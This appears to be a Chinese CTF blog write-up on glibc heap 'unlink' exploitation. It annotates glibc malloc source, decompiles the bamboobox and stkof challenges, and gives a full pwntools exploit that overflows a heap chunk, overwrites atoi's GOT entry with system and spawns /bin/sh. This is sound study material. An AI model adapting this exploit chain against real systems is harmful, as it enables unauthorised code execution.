Unlink

unlink

基本原理

chunk被free后放入双向链表(fastbins除外),通过篡改fd bk指针后绕过unlink的检测实现任意地址读的漏洞

利用条件

修改chunk的p标志位

  • off-by-null

  • off-by-one

  • 堆溢出

  • 低版本的glibc

glibc2.38相关源码分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// unlink from /malloc/malloc.c
// 实现free后的chunk从空闲链表中移除
static void
unlink_chunk (mstate av, mchunkptr p)  // av即内存分配状态,p为待移除的目标chunk指针
{
  if (chunksize (p) != prev_size (next_chunk (p)))  // 检查当前chunk的szie是否等于下一个chunk的pre_size
    malloc_printerr ("corrupted size vs. prev_size");

  mchunkptr fd = p->fd;  // 指向上一个chunk
  mchunkptr bk = p->bk;  // 指向下一个chunk

  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))  // 检查双向链表的完整性,后续对该条件进行绕过
    malloc_printerr ("corrupted double-linked list");

  fd->bk = bk;  // 修改指针移除chunk
  bk->fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)  // 判断是否为large bins
    {
      // large bins还要检查fd_nextsize和bk_nextsize
      if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
	malloc_printerr ("corrupted double-linked list (not small)");

      if (fd->fd_nextsize == NULL)  // 条件为真即fd为large bins中的唯一chunk,链表还未初始化
	{
          // 链表初始化
	  if (p->fd_nextsize == p)
	    fd->fd_nextsize = fd->bk_nextsize = fd;
	  else
	    {
	      fd->fd_nextsize = p->fd_nextsize;
	      fd->bk_nextsize = p->bk_nextsize;
	      p->fd_nextsize->bk_nextsize = fd;
	      p->bk_nextsize->fd_nextsize = fd;
	    }
	}
      else
	{
	  p->fd_nextsize->bk_nextsize = p->bk_nextsize;
	  p->bk_nextsize->fd_nextsize = p->fd_nextsize;
	}
    }
}

free

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
// free from /malloc/malloc.c
static void
_int_free (mstate av, mchunkptr p, int have_lock) 
    // av为内存状态分配器的状态 p为chunk指针 have_lock指示当前线程是否有arena的锁,多线程下依据此参数避免竞争条件 
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */ 
  mchunkptr nextchunk;         /* next contiguous chunk */
  INTERNAL_SIZE_T nextsize;    /* its size */
  int nextinuse;               /* true if nextchunk is used */
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
  mchunkptr bck;               /* misc temp for linking */
  mchunkptr fwd;               /* misc temp for linking */

  size = chunksize (p);

  /* Little security check which won't hurt performance: the
     allocator never wraps around at the end of the address space.
     Therefore we can exclude some size values which might appear
     here by accident or by "design" from some intruder.  */
    
    // 安全性检查:确保指针p不越界,也不处于无效的地址空间
  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
    malloc_printerr ("free(): invalid pointer");
  /* We know that each chunk is at least MINSIZE bytes in size or a
     multiple of MALLOC_ALIGNMENT.  */
    
    // 检查chunk的大小是否符合最小分配单位以及内存对齐的要求
  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    malloc_printerr ("free(): invalid size");

  check_inuse_chunk(av, p);  // 检查in_use标志位

#if USE_TCACHE // 如果启用了tcache机制,则优先使用tcache处理
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache != NULL && tc_idx < mp_.tcache_bins)
      {
	/* Check to see if it's already in the tcache.  */
    // 检查tcache中是否已经包含此chunk,避免双重释放
	tcache_entry *e = (tcache_entry *) chunk2mem (p);

	/* This test succeeds on double free.  However, we don't 100%
	   trust it (it also matches random payload data at a 1 in
	   2^<size_t> chance), so verify it's not an unlikely
	   coincidence before aborting.  */
	if (__glibc_unlikely (e->key == tcache_key))  // 检查key
	  {
	    tcache_entry *tmp;
	    size_t cnt = 0;
	    LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
	    for (tmp = tcache->entries[tc_idx];
		 tmp;
		 tmp = REVEAL_PTR (tmp->next), ++cnt)
	      {
		if (cnt >= mp_.tcache_count)
		  malloc_printerr ("free(): too many chunks detected in tcache");
		if (__glibc_unlikely (!aligned_OK (tmp)))
		  malloc_printerr ("free(): unaligned chunk detected in tcache 2");
		if (tmp == e)
		  malloc_printerr ("free(): double free detected in tcache 2");
		/* If we get here, it was a coincidence.  We've wasted a
		   few cycles, but don't abort.  */
	      }
	  }

	if (tcache->counts[tc_idx] < mp_.tcache_count)
	  {
	    tcache_put (p, tc_idx);  // 放入tcachebin
	    return;
	  }
      }
  }
#endif

  /*
    If eligible, place chunk on a fastbin so it can be found
    and used quickly in malloc.
  */

    // 检查chunk是否可以放入fastbin
  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
      /*
	If TRIM_FASTBINS set, don't place chunks
	bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {

    if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
			  <= CHUNK_HDR_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			     >= av->system_mem, 0))
      {
	bool fail = true;
	/* We might not have a lock at this point and concurrent modifications
	   of system_mem might result in a false positive.  Redo the test after
	   getting the lock.  */
	if (!have_lock)
	  {
	    __libc_lock_lock (av->mutex);
	    fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
		    || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
	    __libc_lock_unlock (av->mutex);
	  }

	if (fail)
	  malloc_printerr ("free(): invalid next size (fast)");
      }

    free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);

    atomic_store_relaxed (&av->have_fastchunks, true);
    unsigned int idx = fastbin_index(size);
    fb = &fastbin (av, idx);

    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;

    if (SINGLE_THREAD_P)
      {
	/* Check that the top of the bin is not the record we are going to
	   add (i.e., double free).  */
	if (__builtin_expect (old == p, 0))
	  malloc_printerr ("double free or corruption (fasttop)");
	p->fd = PROTECT_PTR (&p->fd, old);
	*fb = p;
      }
    else
      do
	{
	  /* Check that the top of the bin is not the record we are going to
	     add (i.e., double free).  */
	  if (__builtin_expect (old == p, 0))
	    malloc_printerr ("double free or corruption (fasttop)");
	  old2 = old;
	  p->fd = PROTECT_PTR (&p->fd, old);
	}
      while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
	     != old2);

    /* Check that size of fastbin chunk at the top is the same as
       size of the chunk that we are adding.  We can dereference OLD
       only if we have the lock, otherwise it might have already been
       allocated again.  */
    if (have_lock && old != NULL
	&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
      malloc_printerr ("invalid fastbin entry (free)");
  }

  /*
    Consolidate other non-mmapped chunks as they arrive.
  */

  else if (!chunk_is_mmapped(p)) {

    /* If we're single-threaded, don't lock the arena.  */
    if (SINGLE_THREAD_P)
      have_lock = true;

    if (!have_lock)
      __libc_lock_lock (av->mutex);

    nextchunk = chunk_at_offset(p, size);

    /* Lightweight tests: check whether the block is already the
       top block.  */
    if (__glibc_unlikely (p == av->top))
      malloc_printerr ("double free or corruption (top)");
    /* Or whether the next chunk is beyond the boundaries of the arena.  */
    if (__builtin_expect (contiguous (av)
			  && (char *) nextchunk
			  >= ((char *) av->top + chunksize(av->top)), 0))
	malloc_printerr ("double free or corruption (out)");
    /* Or whether the block is actually not marked used.  */
    if (__glibc_unlikely (!prev_inuse(nextchunk)))
      malloc_printerr ("double free or corruption (!prev)");

    nextsize = chunksize(nextchunk);
    if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
	|| __builtin_expect (nextsize >= av->system_mem, 0))
      malloc_printerr ("free(): invalid next size (normal)");

    free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);

    /* consolidate backward */  // 向前合并chunk即合并上一个chunk
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));  // p指针指向上一个chunk
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

    if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);   // 检查下一个chunk是否被使用

      /* consolidate forward */  // 向后合并chunk即合并下一个chunk,p指针不用移动
      if (!nextinuse) {
	unlink_chunk (av, nextchunk);
	size += nextsize;
      } else
	clear_inuse_bit_at_offset(nextchunk, 0);// 清除in_use标志位

      /*
	Place the chunk in unsorted chunk list. Chunks are
	not placed into regular bins until after they have
	been given one chance to be used in malloc.
      */

      // 将chunk放入unsorted bin
      bck = unsorted_chunks(av);
      fwd = bck->fd;
      if (__glibc_unlikely (fwd->bk != bck))
	malloc_printerr ("free(): corrupted unsorted chunks");
      p->fd = fwd;
      p->bk = bck;
      if (!in_smallbin_range(size))  // 检查chunk大小是否属于small bins
	{
	  p->fd_nextsize = NULL;
	  p->bk_nextsize = NULL;
	}
      bck->fd = p;
      fwd->bk = p;

      set_head(p, size | PREV_INUSE);
      set_foot(p, size);

      check_free_chunk(av, p);
    }

    /*
      If the chunk borders the current high end of memory,
      consolidate into top
    */

      // chunk如果和top_chunk相邻合并到top_chunk
    else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      av->top = p;
      check_chunk(av, p);
    }

    /*
      If freeing a large space, consolidate possibly-surrounding
      chunks. Then, if the total unused topmost memory exceeds trim
      threshold, ask malloc_trim to reduce top.

      Unless max_fast is 0, we don't know if there are fastbins
      bordering top, so we cannot tell for sure whether threshold
      has been reached unless fastbins are consolidated.  But we
      don't want to consolidate on each free.  As a compromise,
      consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
      is reached.
    */

      // 超过合并阈值的chunk的合并
    if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
      if (atomic_load_relaxed (&av->have_fastchunks))
	malloc_consolidate(av);

      if (av == &main_arena) {
#ifndef MORECORE_CANNOT_TRIM
	if ((unsigned long)(chunksize(av->top)) >=
	    (unsigned long)(mp_.trim_threshold))
	  systrim(mp_.top_pad, av);
#endif
      } else {
	/* Always try heap_trim(), even if the top chunk is not
	   large, because the corresponding heap might go away.  */
	heap_info *heap = heap_for_ptr(top(av));

	assert(heap->ar_ptr == av);
	heap_trim(heap, mp_.top_pad);
      }
    }

    if (!have_lock)
      __libc_lock_unlock (av->mutex);
  }
  /*
    If the chunk was allocated via mmap, release via munmap().
  */

  else {
    munmap_chunk (p);  // 通过mmap分配的chunk用mumap释放
  }
}

利用分析

  • 伪造chunk,构造fd和bk

    通常在某个chunk的data区伪造chunk,令FD为fake_chunk - 3 * sizeof(int),令BK为fake_chunk - 2 * sizeof(int)

    堆溢出伪造chunk

  • FD->bk != p || BK->fd != p绕过

    这里利用了glibc无法识别chunk结构体的缺陷,结构体指针访问成员变量的过程本质上就是结构体指针偏移,对于fd为ptr + 2 * sizeof(int),对于bk为ptr + 3 * sizeof(int),经过指针的运算就可以绕过该条件

    图示环境为x64机器

  • FD->bk = bk

    经过上面的构造,这里就是把指针bk赋值给fake_chunk,也就是fake_chunk = fake_chunk - 2 * sizeof(int)

  • BK->fd = fd

    这里是fake_chunk = fake_chunk - 3 * sizeof(int)

  • 编辑数据,访问fake_chunk

    为什么这里的fake_chunk-0x18会多一步解引用的操作?

    当把fake_chunk篡改为fake_chunk-0x18时,堆管理器会认为fake_chunk-0x18是fd的地址,这时访问fake_chunk-0x18等同于访问fd,对于的fd的操作自然会先对指针解引用,这也就是为什么可以控制地址跳跃到fake_chunk-0x18

    反过来想,如果真的可以随意修改指针,也就没什么必要修改got表了……

  • 第二次访问fake_chunk就会跳到函数的got表项的位置,此时就可以篡改函数地址

bamboobox

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __fastcall main(int argc, const char **argv, const char **envp)
{
  void (**fun_ptr)(void); // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 canary_0; // [rsp+18h] [rbp-8h]

  canary_0 = __readfsqword(0x28u);  // 读取canary检测栈溢出
  setvbuf(stdout, 0LL, 2, 0LL);   // 标准输入输出设置为无缓冲模式
  setvbuf(stdin, 0LL, 2, 0LL);
  fun_ptr = (void (**)(void))malloc(0x10uLL);  // 申请可存放两个函数指针的空间
  *fun_ptr = (void (*)(void))hello_message;
  fun_ptr[1] = (void (*)(void))goodbye_message;
  (*fun_ptr)();  // hello_message()
  while ( 1 )
  {
    menu();
    read(0, buf, 8uLL);
    switch ( atoi(buf) )
    {
      case 1:
        show_item();  // 展示信息
        break;
      case 2:
        add_item();  // 添加
        break;
      case 3:
        change_item();
        break;
      case 4:
        remove_item();  // 移除
        break;
      case 5:
        fun_ptr[1]();  // goodbye_message()
        exit(0);
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}

show_item

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
int show_item()
{
  int i; // [rsp+Ch] [rbp-4h]

  if ( !num )
    return puts("No item in the box");
  for ( i = 0; i <= 99; ++i )  // 遍历item并输出
  {
      // unk_6020C8对应的地址是0x6020C8,位于.bss段,存放未初始化的全局变量和静态变量
    if ( *((_QWORD *)&unk_6020C8 + 2 * i) )  
      printf("%d : %s", (unsigned int)i, *((const char **)&unk_6020C8 + 2 * i));
  }
  return puts(byte_401089);
}

add_item

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
__int64 add_item()
{
  int i; // [rsp+4h] [rbp-1Ch]
  int buf_int; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 canary_1; // [rsp+18h] [rbp-8h]

  canary_1 = __readfsqword(0x28u);  //读取canary
  if ( num > 99 )
  {
    puts("the box is full");
  }
  else
  {
    printf("Please enter the length of item name:");
    read(0, buf, 8uLL);
    buf_int = atoi(buf);
    if ( !buf_int )
    {
      puts("invaild length");
      return 0LL;
    }
    for ( i = 0; i <= 99; ++i )
    {
      if ( !*((_QWORD *)&unk_6020C8 + 2 * i) )  // 判断内存地址中是否有东西
      {
        *((_DWORD *)&itemlist + 4 * i) = buf_int;  // 长度写入itemlist
        *((_QWORD *)&unk_6020C8 + 2 * i) = malloc(buf_int);  // 将malloc返回的指针存放在.bss段
        printf("Please enter the name of item:");
        *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * i) + (int)read(0, *((void **)&unk_6020C8 + 2 * i), buf_int)) = 0;  
          // 首先调用read()在.bss段上写数据,把返回值转为整型加上首地址,此时正好到数据的末尾,在末尾补0表示c中的数据截断
        ++num;  // num_item++
        return 0LL;
      }
    }
  }
  return 0LL;
}
1
2
3
4
5
6
7
*((_DWORD *)&itemlist + 4 * i) = buf_int;
*((_QWORD *)&unk_6020C8 + 2 * i) = malloc(buf_int);
// 上面两行代码可抽象为下面的结构体
struct item {
    int length;            // 占用 4 字节
    char *item_name;       // 指向物品名称的指针,占用 8 字节
};

change_item

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 change_item()
{
  int index; // [rsp+4h] [rbp-2Ch]
  int length_int; // [rsp+8h] [rbp-28h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  char length[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 canary_2; // [rsp+28h] [rbp-8h]

  canary_2 = __readfsqword(0x28u);  // 获取canary
  if ( num )  // item数量不为0
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    index = atoi(buf);
    if ( *((_QWORD *)&unk_6020C8 + 2 * index) )  // 因为是change,要求目标内存有东西
    {
      printf("Please enter the length of item name:");
      read(0, length, 8uLL);  // length大小没有限制,有堆溢出漏洞
      length_int = atoi(length);
      printf("Please enter the new name of the item:");
        // 同add_item一样。都是给内存数据截断
      *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * index) + (int)read(0, *((void **)&unk_6020C8 + 2 * index), length_int)) = 0;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ canary_2;  // 通过异或检查是否有栈溢出
}

remove_item

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 remove_item()
{
  int index_; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 canary_3; // [rsp+18h] [rbp-8h]

  canary_3 = __readfsqword(0x28u);  // 获取canary
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8uLL);
    index_ = atoi(buf);
    if ( *((_QWORD *)&unk_6020C8 + 2 * index_) )  // 移除item要求目标内存有item
    {
      free(*((void **)&unk_6020C8 + 2 * index_));  // free
      *((_QWORD *)&unk_6020C8 + 2 * index_) = 0LL;  // 将指针置0
      *((_DWORD *)&itemlist + 4 * index_) = 0;   // 长度置0
      puts("remove successful!!");
      --num;  // item_num--
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ canary_3;  // 检查canary
}

后门函数magic

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
void __noreturn magic()   // 打开文件输出其内容
{
  int fd; // [rsp+Ch] [rbp-74h]
  char buf[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+78h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fd = open("/home/bamboobox/flag", 0);
  read(fd, buf, 0x64uLL);
  close(fd);
  printf("%s", buf);
  exit(0);
}

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
context.os = 'linux'
context.log_level = 'debug'
context.arch = 'amd64'
# ctrl + b "
context.terminal = ["tmux","splitw","-v"]

io = process("./copy_bamboobox")
elf = ELF("./copy_bamboobox")
libc = ELF("./libc-2.23.so")

# 1 -> 打印信息
def show():
    io.sendlineafter(b"Your choice:", b"1")
    
# 2 -> 创建item
def add(length, data):
    io.sendlineafter(b"Your choice:", b"2")
    io.sendlineafter(b"Please enter the length of item name:", str(length).encode())
    io.sendlineafter(b"Please enter the name of item:", data)
    
# 3 -> 修改item
def change(index, length, data):
    io.sendlineafter(b"Your choice:", b"3")
    io.sendlineafter(b"Please enter the index of item:", str(index).encode())
    io.sendlineafter(b"Please enter the length of item name:", str(length).encode())
    io.sendlineafter(b"Please enter the new name of the item:", data)

# 4 -> 删除item
def remove(index):
    io.sendlineafter(b"Your choice:", b"4")
    io.sendlineafter(b"Please enter the index of item:", str(index).encode())
    
def dbg(msg):
    print(msg)
    gdb.attach(io)
    pause()

add(0x80, b"aaaaaaaa")  # chunk_0
add(0x80, b"bbbbbbbb")  # chunk_1
add(0x80, b"cccccccc")  # chunk_2

chunk_ptr = 0x6020c8        # .bss
fake_fd = chunk_ptr - 0x18  # FD->bk   +0x18
fake_bk = chunk_ptr - 0x10  # BK->fd   -0x10

payload = p64(0) + p64(0x81) + p64(fake_fd) + p64(fake_bk)
padding = 0x80 - len(payload)
payload += b'a' * padding     # data填充完毕,开始溢出

payload += p64(0x80)  # fake_pre_size
payload += p64(0x90)  # fake_size标记上一个chunk为free状态

change(0, len(payload), payload)  # 将chunk_0的数据溢出到chunk_1
remove(1)  # free chunk_1

atoi_got_addr = elf.got['atoi']
success(f"atoi_got_addr:{hex(atoi_got_addr)}")  # atoi的got地址

payload = p64(0) * 3 + p64(atoi_got_addr)
change(0, len(payload), payload)  # 第一次编辑数据,修改目标地址为atoi的got表地址

show()
atoi_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
success(f"atoi_addr:{hex(atoi_addr)}")

atoi_offset = libc.sym["atoi"]
system_offset = libc.sym["system"]
system_addr = atoi_addr - atoi_offset + system_offset  # 计算system地址
success(f"system_addr:{hex(system_addr)}")
change(0, 8, p64(system_addr))  # 第二次编辑数据,修改atoi地址为system地址

io.sendline(b"/bin/sh\0")  # 调用atoi("/bin/sh")实则调用system("/bin/sh")
io.interactive()

stkof

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int choice; // eax
  int res; // [rsp+Ch] [rbp-74h]
  char nptr[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 canary; // [rsp+78h] [rbp-8h]

  canary = __readfsqword(0x28u);
  alarm(0x78u);
  while ( fgets(nptr, 10, stdin) )
  {
    choice = atoi(nptr);
    if ( choice == 2 )
    {
      res = edit();
      goto LABEL_14;
    }
    if ( choice > 2 )
    {
      if ( choice == 3 )
      {
        res = delete();
        goto LABEL_14;
      }
      if ( choice == 4 )
      {
        res = show();
        goto LABEL_14;
      }
    }
    else if ( choice == 1 )
    {
      res = add();
      goto LABEL_14;
    }
    res = -1;
LABEL_14:
    if ( res )
      puts("FAIL");
    else
      puts("OK");
    fflush(stdout);
  }
  return 0LL;
}

add

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
__int64 sub_400936()
{
  __int64 size; // [rsp+0h] [rbp-80h]
  char *ptr; // [rsp+8h] [rbp-78h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 canary_4; // [rsp+78h] [rbp-8h]

  canary_4 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  size = atoll(s);
  ptr = (char *)malloc(size);
  if ( !ptr )
    return 0xFFFFFFFFLL;
  (&::s)[++num] = ptr;   // 解析全部变量s,在偏移量的位置写入指针,类似数组的操作
  printf("%d\n", (unsigned int)num);  // 输出数量大小,相当于add成功次数
  return 0LL;
}

edit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 sub_4009E8()
{
  int i; // eax
  unsigned int offset; // [rsp+8h] [rbp-88h]
  __int64 n; // [rsp+10h] [rbp-80h]
  char *ptr; // [rsp+18h] [rbp-78h]
  char s[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 canary_1; // [rsp+88h] [rbp-8h]

  canary_1 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  offset = atol(s);
  if ( offset > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !(&::s)[offset] )           // 检查是否有数据,没有数据代表没有add过
    return 0xFFFFFFFFLL;
  fgets(s, 16, stdin);
  n = atoll(s);
  ptr = (&::s)[offset];
  for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
  {
    ptr += i;  // 存在溢出漏洞
    n -= i;
  }
  if ( n )
    return 0xFFFFFFFFLL;
  else
    return 0LL;
}

delete

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
__int64 sub_400B07()
{
  unsigned int offset_v1; // [rsp+Ch] [rbp-74h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 canary_2; // [rsp+78h] [rbp-8h]

  canary_2 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  offset_v1 = atol(s);
  if ( offset_v1 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !(&::s)[offset_v1] )
    return 0xFFFFFFFFLL;
  free((&::s)[offset_v1]);
  (&::s)[offset_v1] = 0LL;   // 指针free后置0,正常的删除流程
  return 0LL;
}

show

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
__int64 sub_400BA9()
{
  unsigned int offset_v1; // [rsp+Ch] [rbp-74h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 canary_3; // [rsp+78h] [rbp-8h]

  canary_3 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  offset_v1 = atol(s);
  if ( offset_v1 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !(&::s)[offset_v1] )
    return 0xFFFFFFFFLL;
  if ( strlen((&::s)[offset_v1]) <= 3 )
    puts("//TODO");   // 这个输出约等于没有......
  else
    puts("...");
  return 0LL;
}

思路

总体上就三个功能,malloc free edit,没有后门函数,需要

exp

有无缓冲区别

ELF文件更换glibc版本和动态链接器

patchelf

1
2
3
4
# 更换ld文件
patchelf --set-interpreter /home/zhuwenxiu/personal_file/glibc/2.23/64/lib/ld-2.23.so elf_file
# 更换libc文件
patchelf --replace-needed libc.so.6 /home/zhuwenxiu/personal_file/glibc/2.23/64/lib/libc-2.23.so elf_file

1
patchelf --set-interpreter /home/zhuwenxiu/personal_file/glibc/2.23/64/lib/ld-2.23.so --set-rpath /home/zhuwenxiu/personal_file/glibc/2.23/64/lib elf_file

环境变量LD_PRELOAD&&LD_LIBRARY_PATH

1
2
# 强行预加载指定共享库
LD_PRELOAD=/home/zhuwenxiu/personal_file/glibc/2.23/64/lib/libc-2.23.so elf_file
1
2
# 指定动态链接库的搜索路径
LD_LIBRARY_PATH=/home/zhuwenxiu/personal_file/glibc/2.23/64/lib elf_file

不是很管用……

使用 Hugo 构建
主题 StackJimmy 设计